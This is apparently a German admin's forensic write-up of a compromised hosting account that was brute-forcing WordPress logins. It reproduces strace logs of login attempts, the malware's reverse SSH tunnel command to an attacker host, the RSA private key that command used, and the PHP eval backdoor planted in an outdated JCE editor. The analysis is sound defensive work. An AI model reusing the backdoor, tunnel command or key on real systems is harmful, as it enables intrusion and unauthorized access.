10.30
Blocklist.de hat heute zwei IP-Adressen/ManagedServer von meinem Arbeitgeber über Angriffe des Typs „BruteForce-Login“ gemeldet.
Eine erste Analyse zeigte bereits, das ein Kunde, bzw. Quota gehackt wurde.
Es liefen drei Prozesse:
u123456 1637 0.2 0.4 11152 4964 ? Ssl 00:24 0:07 ./ssh
u123456 20984 0.0 0.1 4864 1016 ? Ss 00:59 0:00 ssh -F /dev/stdin -f -N 94.242.228.104
u123456 23310 0.0 0.5 8656 5460 ? S 01:16 0:00 kflushd
Ein strace-Aufruf auf das Programm mit dem ssh-Prozess, welches auf Daten von der IP 94.242.228.104 wartet, zeigte direkt das dort http-POST-Requests auf wp-login.php-Dateien ausgeführt werden:
Process 6502 attached - interrupt to quit
****write(36, "POST http://81.30.150.90/wp-login"..., 465) = 465****
****write(41, "POST http://192.254.187.122/wp-lo"..., 471) = 471****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [], NULL, NULL) = 1 (in [3])
read(3, "\357\16\324#3\33)P\212\274p\310\313\356r\203\0\266\\\334\331\354\27[\333m\203\315;\26\215\370\213"..., 8192) = 576
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [35], NULL, NULL) = 1 (out [35])
****write(35, "POST http://184.168.191.1/wp-logi"..., 490) = 490****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [], NULL, NULL) = 1 (in [9])
read(9, "0\r\n\r\n"..., 16384) = 5
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [3], NULL, NULL) = 1 (out [3])
write(3, "\37J\4R\272C\331\275Jy\314\332\1\271\351\341`\254f\303\264y:\363Y\370\200\36\315\311\243{\240"..., 48) = 48
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [], NULL, NULL) = 1 (in [3])
read(3, "&\237XfF0\377\311{\263f\252k\33\220\310\224\"\202\21\\\3\346v:< \0<\"\311\266\331\272"..., 8192) = 64
shutdown(32, 1 /* send */) = 0
shutdown(32, 2 /* send and receive */) = -1 ENOTCONN (Transport endpoint is not connected)
close(32) = 0
close(32) = -1 EBADF (Bad file descriptor)
close(32) = -1 EBADF (Bad file descriptor)
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [3], NULL, NULL) = 1 (out [3])
write(3, "\376\6\r%\t\njM\226[\213F\261A\177\243\331d\17\207\32\240\30`j\223\334\264C7\t\275"..., 32) = 32
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [], NULL, NULL) = 1 (in [43])
read(43, "HTTP/1.0 502 Bad Gateway\r\nProxy-C"..., 16384) = 237
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 43 52], [3], NULL, NULL) = 2 (in [43], out [3])
read(43, ""..., 16384) = 0
shutdown(43, 0 /* receive */) = 0
write(3, "\346K^=\353\265\375$\347Oy\375\n\336t+\31c)\330\211\314\24\301\275\3612Rs\325\362\357\304"..., 272) = 272
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 52], [3], NULL, NULL) = 1 (out [3])
write(3, "\225\36\303\3030<\307\35f\304zrZ\251\24\266g^\201\332\261h\v\203\371\230sG\235u\200X"..., 32) = 32
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 38 39 40 41 42 52], [], NULL, NULL) = 1 (in [38])
read(38, ""..., 16384) = 0
shutdown(38, 0 /* receive */) = 0
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [3], NULL, NULL) = 1 (out [3])
write(3, "\277\0\245\0](g\276o\374g\323(\371\350\236\231\27\\\255\31xj(\325\236\311\331\310\326\373\310"..., 32) = 32
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3])
read(3, "\230\31\25<\223\200\346\270\311*6\201,\232\264\251\253{\331T\276\356>.< `\n\315}\276\3\256\353"..., 8192) = 400
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [7], NULL, NULL) = 1 (out [7])
****write(7, "POST http://184.168.189.1/wp-logi"..., 366) = 366****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3])
read(3, "\334\363}\22i|$\264\34\302\252Si\327\301\2Ac!\261\37\345I\204P1\304f\376Qa+\177"..., 8192) = 144
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [7], NULL, NULL) = 1 (out [7])
****write(7, "log=admin&pwd=carson&wp-submit=Lo"..., 106) = 106****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3])
read(3, "\234\341\233\270\0\371\256\32\200v\v\4d\241\312\342\347~q_&\265\246\266\36\10\"\270q )A\221"..., 8192) = 96
socket(PF_NETLINK, SOCK_RAW, 0) = 32
bind(32, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
getsockname(32, {sa_family=AF_NETLINK, pid=6502, groups=00000000}, [12]) = 0
time(NULL) = 1383076654
sendto(32, "\24\0\0\0\26\0\1\3.\23pR\0\0\0\0\0\0\0\0"..., 20, 0, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 20
recvmsg(32, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"8\0\0\0\24\0\2\0.\23pRf\31\0\0\2\10\200\376\1\0\0\0\10\0\1\0\177\0\0\1\10"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 296
recvmsg(32, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"@\0\0\0\24\0\2\0.\23pRf\31\0\0\n\200\200\376\1\0\0\0\24\0\1\0\0\0\0\0\0"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 192
recvmsg(32, {msg_name(12)={sa_family=AF_NETLINK, pid=0, groups=00000000}, msg_iov(1)=[{"\24\0\0\0\3\0\2\0.\23pRf\31\0\0\0\0\0\0\1\0\0\0\24\0\1\0\0\0\0\0\0"..., 4096}], msg_controllen=0, msg_flags=0}, 0) = 20
close(32) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 32
fcntl64(32, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(32, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(32, {sa_family=AF_INET, sin_port=htons(29814), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
getsockopt(32, SOL_TCP, TCP_NODELAY, [0], [4]) = 0
setsockopt(32, SOL_TCP, TCP_NODELAY, [1], 4) = 0
fcntl64(32, F_SETFD, FD_CLOEXEC) = 0
ioctl(32, SNDCTL_TMR_TIMEBASE or TCGETS, 0xba4f2108) = -1 EINVAL (Invalid argument)
fcntl64(32, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK)
fcntl64(32, F_GETFL) = 0x802 (flags O_RDWR|O_NONBLOCK)
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 33 34 35 36 37 39 40 41 42 52], [32], NULL, NULL) = 1 (out [32])
getsockopt(32, SOL_SOCKET, SO_ERROR, [0], [4]) = 0
getsockopt(3, SOL_SOCKET, SO_RCVBUF, [87380], [4]) = 0
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [3], NULL, NULL) = 1 (out [3])
write(3, "Y\20#\212\20>\36\236\335,\240\10\214z\241\f_\234?\211*.\377\306\312\223\370\204q@\271\220\311"..., 48) = 48
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3])
read(3, "\240@< #%E\316O\340\354\2147 3\231\20\326\201\207\357?\275\201\303\2\200\305E\364\374>\220!"..., 8192) = 400
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [37], NULL, NULL) = 1 (out [37])
****write(37, "POST http://50.63.48.1/wp-login.p"..., 365) = 365****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3])
read(3, "\315\255d\225\377N\324$\335\346\224\203\240hN\220X\16\216\305\5\31Q\235\nXoH\325\367A~\35"..., 8192) = 1448
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [30 33 37], NULL, NULL) = 3 (out [30 33 37])
****write(30, "POST http://74.50.25.215/travel-n"..., 544) = 544****
****write(33, "POST http://184.168.230.1/wp-logi"..., 477) = 477****
****write(37, "log=admin&pwd=airplane&wp-submit="..., 109) = 109****
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [], NULL, NULL) = 1 (in [3])
read(3, "d4\273\355[\177\367\310e\376\226\263\361\273\237Q\v$\207\355\251\214\232&\310n\347\305\27\"\373}z"..., 8192) = 1448
select(53, [3 4 5 6 7 9 10 11 12 13 15 16 17 18 21 22 24 25 26 27 28 30 32 33 34 35 36 37 39 40 41 42 52], [10 24 25], NULL, NULL) = 4 (in [12], out [10 24 25])
****write(10, "POST http://192.232.249.142/wp-lo"..., 370) = 370****
****read(12, "HTTP/1.1 200 OK\r\nDate: Tue, 29 Oc"..., 16384) = 3350****
write(24, "POST http://50.63.180.152/wp-logi"..., 489) = 489
write(25, "POST http://202.122.14.18/wp-logi"..., 486) = 486
....
usw.
Das beenden von nur einem Prozess bringt natürlich nichts ;-), aber da sich der Prozess „kflushd“ jede Minute neustartet, manchmal auch kürzer und der Prozess „./ssh“ diesen überwacht, hab ich einmal etwas rum getestet 😉
Wenn man den SSH-Tunnel:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
u123456 20984 0.0 0.1 4864 1016 ? Ss 00:59 0:00 ssh -F /dev/stdin -f -N 94.242.228.104
killt, wird dieser vom „kflushd“ wieder geöffnet:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
u123456 31639 0.5 0.1 5152 1852 ? Ssl 21:49 0:06 ./ssh
u123456 13132 0.1 0.5 8656 5700 ? S 22:09 0:00 kflushd
u123456 13215 0.0 0.2 5324 2028 ? S 22:09 0:00 \_ sh -c perl -e 'print "RemoteForward 31614 127.0.0.1:29250?BatchMode yes?StrictHostKeyChecking no?UserKnownHostsFile /dev/null?ClearAllForwardings no?IdentityFile kk?User tmp"'|ssh -F /dev/stdin -f -N 94.242.228.104 >/dev/null 2>/dev/null; rm -f kk;
u123456 13217 0.0 0.2 4876 2312 ? S 22:09 0:00 \_ ssh -F /dev/stdin -f -N 94.242.228.104
Der Prozess öffnet dabei einen SSH-Tunnel zu 94.242.228.104 und nimmt als „IdentityFile“ die Datei „kk“, welche danach direkt wieder gelöscht wird.
Das Verzeichnis, wo die Prozesse gestartet werden, kann man über den „./ssh“-Prozess heraus finden. Dort ist das Home-Verzeichnis in /proc/$pid/environ hinterlegt.
Um den Inhalt der KeyFile „kk“ zu erhalten, kann man beim Strace sich mehr Zeichen ausgeben lassen:
strace -o ./strace.txt -e verbose=open,read,write,close -a5000 -s5000 -p $pid
dies sieht dann für den SSH-Input-Prozess z.B. so aus:
write(50, "POST http://208.109.181.131/wp-login.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1623.0 Safari/537.36\r\nConnection: close\r\nAccept-Encoding: gzip\r \nContent-Length: 121\r\nHost: lakewinnipesaukeewolfeboro.com\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nReferer: http://lakewinnipesaukeewolfeboro.com/wp-login.php\r\n\r\nlog=admin&pwd=anita&wp-submit=Log %20In&redirect_to=http%3A%2F%2Flakewinnipesaukeewolfeboro.com%2Fwp-admin%2F&testcookie=1"..., 521)
Bei dem „kflushd“-Prozess sieht man dann, wie dieser die Key-File „kk“ erstellt:
write(0, "-----BEGIN RSA PRIVATE KEY-----\nMIIByAIBAAJhAMqR3OTxJmBggeQNse6UhHtGeU301Pem5LRJBQ5pbsD9nykdAL+f\nrpuVhl0tbXw8xu14nx+f2bBjseLYm/Y+GifcZnLExwH0gYw1JbmUvK16m/29O441\n/oQFtlGOKMVRGwIBIwJgNBbhB6u5aT1jOqRvlR7gPPTdXTBUBSrqWj6ph1 zwmAaz\n5gAkw492CsAMm533lPmvCZ1I0KmjTBpfQoBgTlJJKhfKHRckE3ooxwKNb0MGFlzl\ntkmcKx0ms2Qc83/XSIWDAjEA8BMRR4kucTZmO9rnVRKov/iRYkxznJv77++ygHLW\nuKZGbc7EdTj0OClfvxaRl7m3AjEA2AHkc7va3lT1pF/MVCRU4KPDER5VUn11QQKi\niHKVZPlKA+yl/4usrqxXwxSnTHO 9AjA9u8KdXcodHJ3yIli+Gr2ttPIvODr8Yp/e\nnLjfM3kK6O2J81cW1CGKyM96R6HH7e0CMQDR1fPeJDOzaHmYXQ+iMewNa+IQoR+v\nOAuA+z7NsSNpZzH1LwenyYMtVvYrOKKEyDMCMHI51T8XR/NkbaAKEJF5Lh+kNt2E\nrKNN0TQbRTvYe1ORmtGG6uA8x5weVE69n2EylQ==\n-----END RSA PRIVATE KEY-----"..., 687)
und somit liegt uns der PrivateKey für den SSH-Login auf 94.242.228.104 vor:
-----BEGIN RSA PRIVATE KEY-----
MIIByAIBAAJhAMqR3OTxJmBggeQNse6UhHtGeU301Pem5LRJBQ5pbsD9nykdAL+f
rpuVhl0tbXw8xu14nx+f2bBjseLYm/Y+GifcZnLExwH0gYw1JbmUvK16m/29O441
/oQFtlGOKMVRGwIBIwJgNBbhB6u5aT1jOqRvlR7gPPTdXTBUBSrqWj6ph1zwmAaz
5gAkw492CsAMm533lPmvCZ1I0KmjTBpfQoBgTlJJKhfKHRckE3ooxwKNb0MGFlzl
tkmcKx0ms2Qc83/XSIWDAjEA8BMRR4kucTZmO9rnVRKov/iRYkxznJv77++ygHLW
uKZGbc7EdTj0OClfvxaRl7m3AjEA2AHkc7va3lT1pF/MVCRU4KPDER5VUn11QQKi
iHKVZPlKA+yl/4usrqxXwxSnTHO9AjA9u8KdXcodHJ3yIli+Gr2ttPIvODr8Yp/e
nLjfM3kK6O2J81cW1CGKyM96R6HH7e0CMQDR1fPeJDOzaHmYXQ+iMewNa+IQoR+v
OAuA+z7NsSNpZzH1LwenyYMtVvYrOKKEyDMCMHI51T8XR/NkbaAKEJF5Lh+kNt2E
rKNN0TQbRTvYe1ORmtGG6uA8x5weVE69n2EylQ==
-----END RSA PRIVATE KEY-----
Der komplette Befehl für den SSH-Tunnel ebenfalls:
perl -e 'print "RemoteForward 31614 127.0.0.1:29250?BatchMode yes?StrictHostKeyChecking no?UserKnownHostsFile /dev/null?ClearAllForwardings no?IdentityFile kk?User tmp"'|ssh -F /dev/stdin -f -N 94.242.228.104 >/dev/null 2>/dev/null; rm -f kk; | ssh -F /dev/stdin -f -N 94.242.228.104
Es wurde hierbei der Code zum starten der Prozesse über ein veraltete WordPress mit JCE-Editor ausgeführt.
Dabei wurde in einer der PHP-Dateien tief im JCE-Verzeichnis der folgende Code eingefügt:
< ?php if(isset($_POST["2e995f"])){eval(stripslashes($_POST["c"]));exit;}; ?>< ?php
Das eingesetzte WordPress hatte die Version 3.0.5.
Falls jemand die kompletten STRACE-Logs braucht, bitte melden 🙂
Die meisten IP-Adressen der Angreifer, welche BruteForce-Logins auf /wp-login.php durchführen, sind bei blocklist.de bereits gelistet:
http://lists.blocklist.de/lists/bruteforcelogin.txt